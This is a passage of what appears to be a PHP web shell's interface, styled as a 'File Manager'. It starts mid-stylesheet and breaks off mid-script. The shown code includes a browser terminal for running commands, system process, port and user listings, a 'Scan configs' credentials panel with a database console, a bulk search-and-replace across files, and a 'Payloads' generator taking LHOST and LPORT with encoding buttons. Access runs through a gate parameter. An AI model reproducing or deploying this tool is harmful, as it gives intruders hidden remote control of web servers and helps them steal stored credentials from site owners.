resize:none;height:100%;box-shadow:none!important;white-space:pre;overflow:auto;tab-size:4}
#edTa.wrap{white-space:pre-wrap;word-break:break-word}
.edstat{flex:0 0 auto;display:flex;gap:16px;padding:5px 12px;border-top:1px solid var(--ln);
font:11px var(--fm);color:var(--dim);background:var(--bg2)}
.edstat .r{margin-left:auto}

/* ── terminal ── */
#tOut{overflow:auto;padding:2px 0 10px}
.run{margin-bottom:8px;border:1px solid var(--ln);border-radius:8px;overflow:hidden;background:var(--pn)}
.run-h{display:flex;align-items:center;gap:8px;padding:6px 10px;background:var(--bg2);border-bottom:1px solid var(--ln);font:11.5px var(--fm)}
.run-h .c{color:var(--ac2);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1 1 auto}
.run-h .c::before{content:'$ ';color:var(--dim)}
.run-h .ms{color:var(--dim);font-size:10.5px}
.run pre{border:0;border-radius:0;max-height:52vh;background:transparent}
.run pre.e{color:#f3a6a3;border-top:1px solid var(--ln);background:#1a1113}
.prompt{display:flex;align-items:center;gap:8px;background:var(--pn);border:1px solid var(--ln2);
border-radius:8px;padding:5px 6px 5px 11px;margin-top:10px}
.prompt:focus-within{border-color:var(--ac);box-shadow:0 0 0 3px rgba(109,140,255,.12)}
.prompt .ps1{font:11.5px var(--fm);color:var(--ok);white-space:nowrap;max-width:34%;overflow:hidden;text-overflow:ellipsis}
.prompt input{border:0;background:0;box-shadow:none!important;font:12.5px var(--fm);padding:4px 2px}

/* ── tables ── */
table{width:100%;border-collapse:collapse;font-size:12px}
th{text-align:left;font:600 10px var(--fu);letter-spacing:.6px;text-transform:uppercase;color:var(--dim);
padding:6px 10px;border-bottom:1px solid var(--ln);background:var(--bg2);position:sticky;top:0}
td{padding:5px 10px;border-bottom:1px solid rgba(30,37,48,.6);font-family:var(--fm);font-size:11.5px;
max-width:420px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
tbody tr:hover td{background:#141a23}
td.num{text-align:right;color:var(--tx2)}

/* ── meters ── */
.meter{height:6px;border-radius:4px;background:var(--pn3);overflow:hidden;margin-top:6px}
.meter>i{display:block;height:100%;border-radius:4px;background:linear-gradient(90deg,#3ecf8e,#57b6f0);transition:width .4s}
.meter.warn>i{background:linear-gradient(90deg,#e5b03c,#f0975a)}
.meter.crit>i{background:linear-gradient(90deg,#f4655f,#d94a44)}
.mcard{background:var(--pn);border:1px solid var(--ln);border-radius:var(--r2);padding:12px 14px}
.mcard .lab{font:600 10px var(--fu);letter-spacing:.7px;text-transform:uppercase;color:var(--dim)}
.mcard .val{font:600 20px var(--fm);margin-top:2px;letter-spacing:-.5px}
.mcard .sub{font:11px var(--fm);color:var(--mut);margin-top:3px}

/* ── palette ── */
#palWrap{position:fixed;inset:0;background:rgba(4,6,10,.62);backdrop-filter:blur(3px);display:none;z-index:90;padding-top:11vh}
#palWrap.on{display:block}
#pal{width:min(620px,92vw);margin:0 auto;background:var(--pn);border:1px solid var(--ln2);border-radius:12px;
box-shadow:var(--sh);overflow:hidden}
#palIn{border:0;border-radius:0;border-bottom:1px solid var(--ln);background:var(--pn);font-size:14px;padding:13px 16px}
#palList{max-height:52vh;overflow:auto;padding:6px}
.pal-i{display:flex;align-items:center;gap:9px;padding:7px 10px;border-radius:6px;cursor:pointer;font-size:12.5px;color:var(--tx2)}
.pal-i .k{font:10px var(--fm);color:var(--dim);margin-left:auto}
.pal-i.on,.pal-i:hover{background:var(--acd);color:#dbe3ff}

/* ── toasts / modal ── */
#toasts{position:fixed;bottom:16px;right:16px;display:flex;flex-direction:column;gap:8px;z-index:120;pointer-events:none}
.toast{display:flex;align-items:center;gap:8px;padding:9px 14px;border-radius:8px;font-size:12px;font-weight:500;
box-shadow:var(--sh);animation:tin .22s cubic-bezier(.3,.9,.4,1);border:1px solid;max-width:380px}
.toast.ok{background:#13251d;border-color:#24503c;color:#a9ecc9}
.toast.er{background:#261416;border-color:#512a29;color:#f6b3b0}
.toast.in{background:#121c26;border-color:#1e3d52;color:#a8dcf7}
@keyframes tin{from{opacity:0;transform:translateX(24px)}to{opacity:1;transform:none}}
#mdWrap{position:fixed;inset:0;background:rgba(4,6,10,.6);display:none;z-index:95;align-items:center;justify-content:center;padding:16px}
#mdWrap.on{display:flex}
#md{width:min(460px,96vw);background:var(--pn);border:1px solid var(--ln2);border-radius:12px;box-shadow:var(--sh);overflow:hidden}
#md .h{padding:13px 16px 0;font:600 13px var(--fu)}
#md .d{padding:6px 16px 0;font-size:12px;color:var(--mut)}
#md .b{padding:12px 16px}
#md .f{padding:0 16px 14px;display:flex;gap:8px;justify-content:flex-end}

/* ── responsive ── */
@media(max-width:1080px){
.fhead,.frow{grid-template-columns:1fr 84px 76px 92px}
.fhead>div:nth-child(4),.frow>div:nth-child(4),.fhead>div:nth-child(5),.frow>div:nth-child(5){display:none}
}
@media(max-width:900px){
#app{grid-template-columns:52px 1fr}
.brand{padding:0;justify-content:center}.brand b,.brand i{display:none}
.nb{justify-content:center;padding:9px 0}.nb span,.nb kbd{display:none}
.sbfoot{padding:8px 4px;text-align:center}.sbfoot .row span{display:none}
.grid2,.grid3{grid-template-columns:1fr}
.sheet{width:100vw}
}
@media(max-width:640px){
.view{padding:10px}
#hd{padding:0 10px;height:46px}
.fhead,.frow{grid-template-columns:1fr 76px}
.fhead>div:nth-child(3),.frow>div:nth-child(3){display:none}
#crumb a{max-width:110px}
}
</style></head><body data-g="<?php echo _c('gate');?>">
<div id="app">

<aside id="sb">
  <div class="brand">
    <div class="mk"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.2" stroke-linecap="round"><path d="M3 7V5a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg></div>
    <b>File Manager<i>v2.4</i></b>
  </div>
  <nav id="nav">
    <button class="nb on" data-v="files"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><path d="M3 7V5a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg><span>Files</span><kbd>1</kbd></button>
    <button class="nb" data-v="term"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><polyline points="5 8 9 12 5 16"/><line x1="12" y1="16" x2="19" y2="16"/></svg><span>Terminal</span><kbd>2</kbd></button>
    <button class="nb" data-v="sys"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><rect x="4" y="4" width="16" height="16" rx="2"/><rect x="9" y="9" width="6" height="6"/><path d="M9 2v2M15 2v2M9 20v2M15 20v2M2 9h2M2 15h2M20 9h2M20 15h2"/></svg><span>System</span><kbd>3</kbd></button>
    <button class="nb" data-v="db"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><ellipse cx="12" cy="5.5" rx="8" ry="3"/><path d="M4 5.5v13c0 1.7 3.6 3 8 3s8-1.3 8-3v-13"/><path d="M4 12c0 1.7 3.6 3 8 3s8-1.3 8-3"/></svg><span>Database</span><kbd>4</kbd></button>
    <button class="nb" data-v="find"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="10.5" cy="10.5" r="6.5"/><line x1="20" y1="20" x2="15.5" y2="15.5"/></svg><span>Search</span><kbd>5</kbd></button>
    <button class="nb" data-v="info"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9"/><line x1="12" y1="11" x2="12" y2="16.5"/><circle cx="12" cy="7.8" r=".9" fill="currentColor"/></svg><span>Runtime</span><kbd>6</kbd></button>
    <button class="nb" data-v="sh"><svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><path d="M4 17l6-6-6-6"/><path d="M12 19h8"/><path d="M2 3h20" opacity=".4"/></svg><span>Payloads</span><kbd>7</kbd></button>
  </nav>
  <div class="sbfoot">
    <div class="row"><i class="dot" id="dUp"></i><span class="mono" id="sbHost">—</span></div>
    <div class="row" style="margin-top:3px;color:var(--dim)"><span class="mono" id="sbUid"></span></div>
  </div>
</aside>

<div id="main">
  <header id="hd">
    <div id="crumb"></div>
    <div class="hdr" style="margin-left:auto">
      <button class="btn ic" id="btnPal" title="Command palette (Ctrl+K)">
        <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="11" cy="11" r="7"/><line x1="20" y1="20" x2="16.5" y2="16.5"/></svg>
      </button>
      <span id="clk"></span>
    </div>
  </header>

  <div id="body">

  <!-- ═══════ FILES ═══════ -->
  <section id="v-files" class="view on">
    <div class="tbar">
      <div class="pathbar">
        <button class="up" id="fUp" title="Parent directory">↑</button>
        <input type="text" id="fPath" class="mono" spellcheck="false">
      </div>
      <button class="btn p" id="fGo">Open</button>
      <button class="btn" id="fRef" title="Refresh">Reload</button>
      <button class="btn" id="fMkD">+ Folder</button>
      <button class="btn" id="fMkF">+ File</button>
      <button class="btn" id="fUp2">Upload</button>
      <input type="search" id="fFilter" class="fsearch" placeholder="Filter…" spellcheck="false">
      <input type="file" id="fFile" multiple style="display:none">
    </div>
    <div class="fwrap">
      <div class="fhead">
        <div data-s="n">Name <span class="ar"></span></div>
        <div data-s="s">Size <span class="ar"></span></div>
        <div data-s="p">Perm <span class="ar"></span></div>
        <div data-s="o">Owner <span class="ar"></span></div>
        <div data-s="m">Modified <span class="ar"></span></div>
        <div style="justify-content:flex-end">Actions</div>
      </div>
      <div class="selbar" id="fSelbar">
        <b id="fSelN">0</b><span class="mut">selected</span>
        <button class="btn sm d" id="fSelDel">Delete</button>
        <button class="btn sm" id="fSelPath">Copy paths</button>
        <button class="btn sm" id="fSelNone">Clear</button>
      </div>
      <div class="fbody" id="fList"></div>
      <div class="fstat">
        <span id="fStat1">—</span>
        <span id="fStat2"></span>
        <span style="margin-left:auto" id="fStat3"></span>
      </div>
    </div>
    <div class="drop" id="fDrop">Drop files to upload</div>
  </section>

  <!-- ═══════ TERMINAL ═══════ -->
  <section id="v-term" class="view">
    <div class="card">
      <div class="card-h">
        <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><polyline points="5 8 9 12 5 16"/><line x1="12" y1="16" x2="19" y2="16"/></svg>
        <h3>Shell</h3>
        <div class="row" style="margin-left:auto;gap:5px">
          <button class="btn sm" id="tClear">Clear</button>
          <button class="btn sm" id="tCopyAll">Copy all</button>
        </div>
      </div>
      <div class="card-b">
        <div id="tOut"></div>
        <div class="prompt">
          <span class="ps1" id="tCwd">$</span>
          <input type="text" id="tIn" class="mono" placeholder="command…" spellcheck="false" autocomplete="off">
          <button class="btn p" id="tRun">Run</button>
        </div>
        <div class="pills" id="tPills" style="margin-top:10px"></div>
      </div>
    </div>
  </section>

  <!-- ═══════ SYSTEM ═══════ -->
  <section id="v-sys" class="view">
    <div class="grid3" style="margin-bottom:12px">
      <div class="mcard"><div class="lab">Load average</div><div class="val" id="mLoad">—</div>
        <div class="meter" id="mLoadBar"><i style="width:0"></i></div><div class="sub" id="mCores">—</div></div>
      <div class="mcard"><div class="lab">Memory</div><div class="val" id="mMem">—</div>
        <div class="meter" id="mMemBar"><i style="width:0"></i></div><div class="sub" id="mMemSub">—</div></div>
      <div class="mcard"><div class="lab">Uptime</div><div class="val" id="mUp">—</div>
        <div class="meter" id="mUpBar" style="visibility:hidden"><i style="width:0"></i></div><div class="sub" id="mSys">—</div></div>
    </div>
    <div class="tbar">
      <span class="mut sm">Disk</span><span id="mDisk" class="sm mono" style="color:var(--tx2)"></span>
    </div>
    <div class="card" style="margin-bottom:12px">
      <div class="card-h"><h3>Processes</h3>
        <input type="search" id="pFilt" placeholder="filter…" style="width:150px;margin-left:auto;padding:3px 8px;font-size:11px">
        <div class="tag" id="pTag"></div></div>
      <div style="max-height:300px;overflow:auto"><table id="pTab"><thead><tr>
        <th style="width:64px">PID</th><th style="width:96px">User</th><th style="width:64px">CPU%</th>
        <th style="width:64px">MEM%</th><th style="width:90px">Time</th><th>Command</th><th style="width:56px"></th>
      </tr></thead><tbody></tbody></table></div>
    </div>
    <div class="grid2">
      <div class="card"><div class="card-h"><h3>Listening ports</h3><div class="tag" id="portTag"></div></div>
        <div style="max-height:280px;overflow:auto"><table id="portTab"><thead><tr>
        <th style="width:52px">Proto</th><th style="width:150px">Address</th><th>Process</th></tr></thead><tbody></tbody></table></div></div>
      <div class="card"><div class="card-h"><h3>Users</h3><div class="tag" id="userTag"></div></div>
        <div style="max-height:280px;overflow:auto"><table id="userTab"><thead><tr>
        <th style="width:96px">User</th><th style="width:56px">UID</th><th>Home</th><th style="width:96px">Shell</th></tr></thead><tbody></tbody></table></div></div>
    </div>
  </section>

  <!-- ═══════ DATABASE ═══════ -->
  <section id="v-db" class="view">
    <div class="card" style="margin-bottom:12px">
      <div class="card-h"><h3>Credentials</h3>
        <button class="btn sm" id="dbDisc" style="margin-left:auto">Scan configs</button></div>
      <div class="card-b">
        <div id="dbCreds" class="sm mut">Not scanned yet.</div>
        <div class="row" style="margin-top:12px">
          <input type="text" id="dbHost" placeholder="host" value="localhost" style="flex:1 1 110px">
          <input type="text" id="dbPort" placeholder="port" value="3306" style="flex:0 1 74px">
          <input type="text" id="dbUser" placeholder="user" style="flex:1 1 110px">
          <input type="password" id="dbPass" placeholder="password" style="flex:1 1 110px">
          <input type="text" id="dbName" placeholder="database" style="flex:1 1 110px">
        </div>
      </div>
    </div>
    <div class="grid2">
      <div class="card"><div class="card-h"><h3>Tables</h3><div class="tag" id="dbTags"></div></div>
        <div style="max-height:340px;overflow:auto"><table id="dbTab"><thead><tr><th>Table</th></tr></thead><tbody></tbody></table></div></div>
      <div class="card"><div class="card-h"><h3>Query</h3></div>
        <div class="card-b">
          <textarea id="dbQ" rows="4" spellcheck="false">SHOW TABLES;</textarea>
          <div class="row" style="margin-top:8px">
            <button class="btn p" id="dbRun">Execute</button>
            <button class="btn" id="dbCsv">Export CSV</button>
            <span class="mut sm" id="dbMsg" style="margin-left:auto"></span>
          </div>
        </div></div>
    </div>
    <div class="card" style="margin-top:12px"><div class="card-h"><h3>Result</h3><div class="tag" id="dbRows"></div></div>
      <div style="max-height:420px;overflow:auto"><table id="dbRes"><thead></thead><tbody></tbody></table></div></div>
  </section>

  <!-- ═══════ FIND ═══════ -->
  <section id="v-find" class="view">
    <div class="card">
      <div class="card-h"><h3>Search &amp; Replace</h3><div class="tag" id="fnTag"></div></div>
      <div class="card-b">
        <div class="row">
          <input type="text" id="fnRoot" class="mono" placeholder="root path" style="flex:1 1 260px">
          <input type="text" id="fnNeedle" placeholder="find" style="flex:1 1 200px">
        </div>
        <div class="row">
          <input type="text" id="fnRepl" placeholder="replace with (empty = search only)" style="flex:1 1 260px">
          <label class="sm mut" style="display:flex;align-items:center;gap:5px;white-space:nowrap">
            <input type="checkbox" id="fnRx" style="width:auto"> regex</label>
          <label class="sm mut" style="display:flex;align-items:center;gap:5px;white-space:nowrap">
            <input type="checkbox" id="fnYes" style="width:auto"> I'm sure</label>
          <button class="btn p" id="fnGo">Search</button>
        </div>
        <div id="fnOut" style="margin-top:12px"></div>
      </div>
    </div>
  </section>

  <!-- ═══════ INFO ═══════ -->
  <section id="v-info" class="view">
    <div class="card"><div class="card-h"><h3>Runtime</h3><div class="tag" id="inTag"></div></div>
      <div class="kv" id="inKv"></div></div>
    <div class="card" style="margin-top:12px"><div class="card-h"><h3>Capabilities</h3></div>
      <div class="card-b"><div class="pills" id="inCaps"></div></div></div>
  </section>

  <!-- ═══════ SHELLS ═══════ -->
  <section id="v-sh" class="view">
    <div class="card">
      <div class="card-h"><h3>Payload generator</h3></div>
      <div class="card-b">
        <div class="row">
          <input type="text" id="shIp" placeholder="LHOST" style="flex:1 1 200px">
          <input type="text" id="shPort" placeholder="LPORT" value="4444" style="flex:0 1 100px">
        </div>
        <div class="pills" id="shPills" style="margin-top:10px"></div>
        <pre class="o" id="shOut" style="margin-top:10px;cursor:pointer" title="click to copy"></pre>
        <div class="row" style="margin-top:8px">
          <button class="btn sm" id="shB64">Base64</button>
          <button class="btn sm" id="shUrl">URL-encode</button>
          <button class="btn sm" id="shCopy">Copy</button>
        </div>
      </div>
    </div>
  </section>

  </div><!-- /body -->
</div><!-- /main -->
</div><!-- /app -->

<!-- editor sheet -->
<div class="sheet" id="ed">
  <div class="sheet-h">
    <div class="edpath mono" id="edPath">—</div>
    <span class="badge b-in" id="edSize"></span>
    <div class="grow"></div>
    <button class="btn p sm" id="edSave">Save</button>
    <button class="btn sm" id="edReload">Reload</button>
    <button class="btn sm" id="edDl">Download</button>
    <button class="btn sm" id="edHash">Hash</button>
    <button class="btn sm" id="edWrap">Wrap</button>
    <button class="btn sm ic" id="edClose">✕</button>
  </div>
  <div class="edbody">
    <pre class="gut" id="edGut">1</pre>
    <textarea id="edTa" spellcheck="false" wrap="off"></textarea>
  </div>
  <div class="edstat">
    <span id="edPos">Ln 1, Col 1</span>
    <span id="edLines">0 lines</span>
    <span class="r" id="edEnc"></span>
  </div>
</div>

<!-- palette -->
<div id="palWrap"><div id="pal">
  <input id="palIn" placeholder="Type a command or path…" autocomplete="off" spellcheck="false">
  <div id="palList"></div>
</div></div>

<!-- modal -->
<div id="mdWrap"><div id="md">
  <div class="h" id="mdH"></div>
  <div class="d" id="mdD"></div>
  <div class="b" id="mdB"></div>
  <div class="f"><button class="btn" id="mdNo">Cancel</button><button class="btn p" id="mdYes">OK</button></div>
</div></div>

<div id="toasts"></div>
<script>
'use strict';
const P=location.pathname, GP=(document.body.dataset.g||'pg');
const $=(s,r)=>(r||document).querySelector(s);
const $$=(s,r)=>Array.prototype.slice.call((r||document).querySelectorAll(s));
const E=s=>String(s==null?'':s).replace(/[&<>"']/g,c=>({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
/* IME guard: full-width / unicode spaces + full-width ASCII -> plain ASCII */
const FWS=/[\u3000\u00a0\u1680\u2000-\u200b\u2028\u2029\u202f\u205f\ufeff]/g;
function nz(s){
  return String(s==null?'':s)
    .replace(FWS,' ')
    .replace(/[\uff01-\uff5e]/g,c=>String.fromCharCode(c.charCodeAt(0)-0xfee0));
}
function b64(s){
  s=String(s==null?'':s);
  if(window.TextEncoder){
    let bin='';
    new TextEncoder().encode(s).forEach(b=>{bin+=String.fromCharCode(b);});
    return btoa(bin);
  }
  return btoa(unescape(encodeURIComponent(s)));
}

const S={cwd:'',panel:'files',list:[],sel:{},sort:'n',dir:1,filt:'',cur:'',dirty:false,
         info:null,creds:null,lastRes:null,free:0,total:0};

/* ───────── transport ───────── */
async function call(o){
  const f=new FormData();
  for(const k in o){ if(o[k]===undefined||o[k]===null)continue; f.append(k,o[k]); }
  let r;
  try{ r=await fetch(P,{method:'POST',body:f,credentials:'same-origin',cache:'no-store',
      headers:{'X-Requested-With':'XMLHttpRequest'}}); }
  catch(e){ toast('Network error','er'); throw e; }
  const ct=r.headers.get('content-type')||'';
  if(r.status===404||ct.indexOf('json')<0){
    toast('Session expired','er');
    setTimeout(()=>{location.href=P+'?'+GP+'=1';},1000);
    throw new Error('session');
  }
  return r.json();
}
function xhr(o,label){
  return new Promise((res,rej)=>{
    const f=new FormData();
    for(const k in o){ if(o[k]===undefined||o[k]===null)continue; f.append(k,o[k]); }
    const x=new XMLHttpRequest();
    x.open('POST',P,true);
    x.upload.onprogress=e=>{ if(e.lengthComputable&&label)setStat((o.c&&o.c!=='0'?'↑ ':'↑ ')+label+' '+Math.round(e.loaded/e.total*100)+'%'); };
    x.onload=()=>{ try{ const j=JSON.parse(x.responseText); if(j.e)rej(new Error(j.e)); else res(j); }catch(err){ rej(new Error('bad response')); } };
    x.onerror=()=>rej(new Error('network'));
    x.send(f);
  });
}

/* ───────── ui utils ───────── */
function toast(msg,kind){
  kind=kind||'ok';
  const d=document.createElement('div');
  d.className='toast '+kind;
  d.textContent=msg;
  $('#toasts').appendChild(d);
  setTimeout(()=>{d.style.transition='opacity .25s,transform .25s';d.style.opacity='0';d.style.transform='translateX(18px)';setTimeout(()=>d.remove(),280);},2700);
}
function fsize(b){
  b=+b||0;
  if(b<1024)return b+' B';
  if(b<1048576)return (b/1024).toFixed(1)+' KB';
  if(b<1073741824)return (b/1048576).toFixed(1)+' MB';
  return (b/1073741824).toFixed(2)+' GB';
}
function fmtTime(t){
  if(!t)return '—';
  const d=new Date(t*1000), n=new Date();
  const p=x=>String(x).padStart(2,'0');
  if(d.toDateString()===n.toDateString())return 'today '+p(d.getHours())+':'+p(d.getMinutes());
  return d.getFullYear()+'-'+p(d.getMonth()+1)+'-'+p(d.getDate())+' '+p(d.getHours())+':'+p(d.getMinutes());
}
function setStat(t){ $('#fStat3').textContent=t; }
function setMeter(sel,pct,warn,crit){
  const el=$(sel); if(!el)return;
  el.className='meter'+(pct>=90?' crit':pct>=70?' warn':'');
  el.firstElementChild.style.width=Math.min(100,Math.max(0,pct))+'%';
}
function md(o){
  return new Promise(res=>{
    const w=$('#mdWrap');
    $('#mdH').textContent=o.title||'';
    $('#mdD').textContent=o.desc||'';
    $('#mdB').innerHTML=o.body||'';
    $('#mdYes').textContent=o.ok||'OK';
    $('#mdNo').textContent=o.cancel||'Cancel';
    $('#mdNo').style.display=o.noCancel?'none':'';
    $('#mdYes').className='btn '+(o.danger?'d':'p');
    w.classList.add('on');
    const inp=$('#mdB input, #mdB textarea, #mdB select');
    const done=v=>{ const val=inp?inp.value:null; w.classList.remove('on');
      $('#mdYes').onclick=null; $('#mdNo').onclick=null; w.onclick=null; res({ok:v,val}); };
    if(inp){ setTimeout(()=>{inp.focus(); if(inp.select)inp.select();},40);
      inp.onkeydown=ev=>{ if(ev.key==='Enter'&&inp.tagName==='INPUT'){ev.preventDefault();done(true);} }; }
    $('#mdYes').onclick=()=>done(true);
    $('#mdNo').onclick=()=>done(false);
    w.onclick=ev=>{ if(ev.target===w)done(false); };
  });
}
async function ask(t,val,d){ const r=await md({title:t,desc:d||'',body:'<input type="text" id="mdIn" value="'+E(val||'')+'">'}); return r.ok?r.val:null; }
async function confirm_(t,d){ const r=await md({title:t,desc:d||'',ok:'Confirm',danger:true}); return r.ok; }

/* ───────── nav ───────── */
const NAMES={files:'Files',term:'Terminal',sys:'System',db:'Database',find:'Search',info:'Runtime',sh:'Payloads'};
function crumbHtml(v){
  if(v==='files'){
    const p=S.cwd||'/';
    const parts=p.split('/').filter(Boolean);
    let h='<a data-cr="/" title="root">/</a>',acc='';
    parts.forEach(s=>{ acc+='/'+s; h+='<span class="sep">›</span><a data-cr="'+E(acc)+'">'+E(s)+'</a>'; });
    return h;
  }
  return '<span class="mono" style="color:var(--tx2);font-size:12px">'+E(NAMES[v]||v)+'</span>';
}
function go(v){
  S.panel=v;
  $$('.nb').forEach(x=>x.classList.toggle('on',x.dataset.v===v));
  $$('.view').forEach(x=>x.classList.toggle('on',x.id==='v-'+v));
  $('#crumb').innerHTML=crumbHtml(v);
  localStorage.setItem('fm.panel',v);
  if(v==='sys')loadSys();
  if(v==='info')loadInfo();
  if(v==='db'&&!S.creds)loadCreds();
  if(v==='term')setTimeout(()=>$('#tIn').focus(),60);
}
$$('.nb').forEach(b=>{ b.onclick=()=>go(b.dataset.v); });
$('#crumb').onclick=e=>{ const a=e.target.closest('a[data-cr]'); if(a)ls(a.dataset.cr); };

/* ───────── files ───────── */
function ico(x){
  const n=(x.n||'').toLowerCase(), ext=n.indexOf('.')>-1?n.split('.').pop():'';
  const st='width="14" height="14" viewBox="0 0 24 24" fill="none" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"';
  if(x.d)return '<svg '+st+' stroke="#e0c069"><path d="M3 7V5a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg>';
  const g=c=>'<svg '+st+' stroke="'+c+'">';
  if(/^(php|phtml|py|rb|js|mjs|ts|go|rs|c|h|cpp|java|cs|sh|pl|lua|sql|vue|jsx|tsx)$/.test(ext))
    return g('#7f9dff')+'<polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>';
  if(/^(json|xml|yaml|yml|ini|toml|conf|cfg|env|lock)$/.test(ext))
    return g('#e0b34e')+'<circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 1 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 1 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 1 1-2.83-2.83l.06-.06A1.65 1.65 0 0 0 4.6 15a1.65 1.65 0 0 0-1.51-1H3a2 2 0 1 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 1 1 2.83-2.83l.06.06A1.65 1.65 0 0 0 9 4.6 1.65 1.65 0 0 0 10 3.09V3a2 2 0 1 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 1 1 2.83 2.83l-.06.06A1.65 1.65 0 0 0 19.4 9v.09a1.65 1.65 0 0 0 1.51 1H21a2 2 0 1 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg>';
  if(/^(jpg|jpeg|png|gif|svg|webp|ico|bmp|avif)$/.test(ext))
    return g('#b48cf2')+'<rect x="3" y="3" width="18" height="18" rx="2"/><circle cx="8.5" cy="8.5" r="1.5"/><polyline points="21 15 16 10 5 21"/></svg>';
  if(/^(zip|tar|gz|tgz|rar|7z|bz2|xz|phar)$/.test(ext))
    return g('#f0975a')+'<path d="M21 8v13H3V8"/><path d="M1 3h22v5H1z"/><line x1="10" y1="12" x2="14" y2="12"/></svg>';
  if(/^(log|txt|md|rst|csv|tsv)$/.test(ext))
    return g('#8b98ad')+'<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="8" y1="13" x2="16" y2="13"/><line x1="8" y1="17" x2="13" y2="17"/></svg>';
  if(/^(db|sqlite|sqlite3|mdb)$/.test(ext))
    return g('#57b6f0')+'<ellipse cx="12" cy="5.5" rx="8" ry="3"/><path d="M4 5.5v13c0 1.7 3.6 3 8 3s8-1.3 8-3v-13"/></svg>';
  if(/^(htaccess|htpasswd)$/.test(n)||n.charAt(0)==='.')
    return g('#8b98ad')+'<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>';
  return g('#6f7c91')+'<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>';
}
async function ls(p){
  p=nz(p||'');
  let r;
  try{ r=await call({a:'l',q:p}); }catch(e){ return; }
  if(r.e){ toast(r.e,'er'); return; }
  S.cwd=r.p; S.list=r.l||[]; S.free=r.u||0; S.total=r.t||0; S.sel={};
  $('#fPath').value=r.p;
  localStorage.setItem('fm.cwd',r.p);
  renderFiles();
  if(S.panel==='files')$('#crumb').innerHTML=crumbHtml('files');
  $('#fStat1').textContent=(S.list.length)+' items';
  let sz=0; S.list.forEach(x=>{ if(!x.d)sz+=x.s; });
  $('#fStat2').textContent=fsize(sz)+' in files';
  if(S.total)$('#fStat3').textContent=fsize(S.free)+' free of '+fsize(S.total);
}
function renderFiles(){
  const f=S.filt.toLowerCase();
  const arr=S.list.filter(x=>!f||x.n.toLowerCase().indexOf(f)>-1).slice();
  const k=S.sort,d=S.dir;
  arr.sort((a,b)=>{
    if((a.d?1:0)!==(b.d?1:0))return b.d-a.d;
    let r=0;
    if(k==='n'){const A=a.n.toLowerCase(),B=b.n.toLowerCase();r=A<B?-1:A>B?1:0;}
    else if(k==='s')r=(a.s||0)-(b.s||0);
    else if(k==='m')r=(a.m||0)-(b.m||0);
    else if(k==='p')r=String(a.p).localeCompare(String(b.p));
    else if(k==='o')r=String(a.o).localeCompare(String(b.o));
    return r*d;
  });
  const base=S.cwd.replace(/\/+$/,'');
  let h='';
  for(const x of arr){
    const path=base+'/'+x.n;
    h+='<div class="frow'+(x.d?' dir':'')+(S.sel[path]?' sel':'')+'" data-p="'+E(path)+'" data-d="'+(x.d?1:0)+'">'
      +'<div class="fname">'+ico(x)+'<span class="t">'+E(x.n)+(x.l?' <span style="color:var(--mut)">→</span>':'')+'</span></div>'
      +'<div class="sz">'+(x.d?'—':fsize(x.s))+'</div>'
      +'<div class="pm">'+E(x.p||'')+'</div>'
      +'<div class="ow">'+E(x.o||'')+'</div>'
      +'<div class="mt">'+fmtTime(x.m)+'</div>'
      +'<div class="fact">'
        +(x.d?'':'<button class="iact" data-act="edit" title="Edit">✎</button><button class="iact" data-act="dl" title="Download">↓</button>')
        +'<button class="iact" data-act="ren" title="Rename">⇥</button>'
        +'<button class="iact" data-act="del" title="Delete" style="color:#a0574f">✕</button>'
      +'</div></div>';
  }
  $('#fList').innerHTML=h||'<div style="padding:26px;text-align:center;color:var(--dim);font-size:12px">empty</div>';
